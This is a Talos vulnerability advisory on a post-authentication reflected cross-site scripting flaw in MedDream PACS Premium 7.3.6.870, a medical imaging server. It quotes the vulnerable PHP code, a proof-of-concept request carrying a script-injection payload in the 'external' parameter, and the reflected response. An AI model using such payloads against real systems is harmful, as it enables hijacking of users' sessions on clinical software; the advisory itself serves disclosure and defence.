Talos Vulnerability Report

SUMMARY

A reflected cross-site scripting (xss) vulnerability exists in the existingUser functionality of MedDream PACS Premium 7.3.6.870. A specially crafted malicious URL can lead to arbitrary javascript code execution. An attacker can provide a crafted URL to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

MedDream PACS Premium 7.3.6.870

PRODUCT URLS

MedDream PACS Premium - https://meddream.com/products/meddream-pacs-server/

CVSSv3 SCORE

6.1 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)

DETAILS

MedDream PACS is a DICOM 3.0-compliant server for storing, managing, and retrieving medical images. It includes a web-based DICOM viewer and administration interface, with features like user access control, study forwarding, and multi-format image support.

A post-authentication reflected cross-site scripting vulnerability exists in the functionality of the Pacs/existingUser.php script. The value of the external parameter used in that script is written into the HTML output without any sanitization. The vulnerable code appears as follows:

$external = 1;
if (isset($_GET['external'])) /// [1]
    $external = $_GET['external'];

(...)
// display existing usernames in database
$plural = ($count > 1)? "users" : "user";
$page->displayExistingUsers($eligible, "There are $count existing $plural that can be upgraded:", $external);   ///[2]
    print "</div>\n";

The $external variable is set by the attacker and is fully controllable [1] . Later on, $external variable’s value is printed directly into html code [2]. Example of a malicious request and response containing injected HTML/JavaScript code:

GET /Pacs/existingUser.php?external=XXX%3E%3Cscript%3Ealert(1)%3C/script%3E%3C HTTP/1.1
Host: 192.168.0.42
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: sessionCookie=%D0%009T-GQb%04wM%D1D%22%17Z%D2%09b~%3D%EB%C1%11_%3D%FC%2C%B59%82%20; PHPSESSID=d92c6a70310515c9c11b928a9fb86bee; MEDDREAMSESSID=89F9D14757A096B63E147238A622FC72
Upgrade-Insecure-Requests: 1
Priority: u=0, i

RESP
HTTP/1.1 200 OK
Date: Tue, 19 Aug 2025 16:53:07 GMT
Server: =^_^=
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Powered-By: PHP/8.3.22
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: no-referrer-when-downgrade
Permissions-Policy: geolocation=(), microphone=(), camera=()
Content-Length: 3678
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

(...)
</td>
<td><input type=submit value='Upgrade' name='action' title='Upgrade Selected Users'></td>
<td><input type=hidden value=XXX><script>alert(1)</script>< name='external'></td>
</tr>

TIMELINE

2025-09-02 - Vendor Disclosure
2025-12-05 - Vendor Patch Release
2026-01-20 - Public Release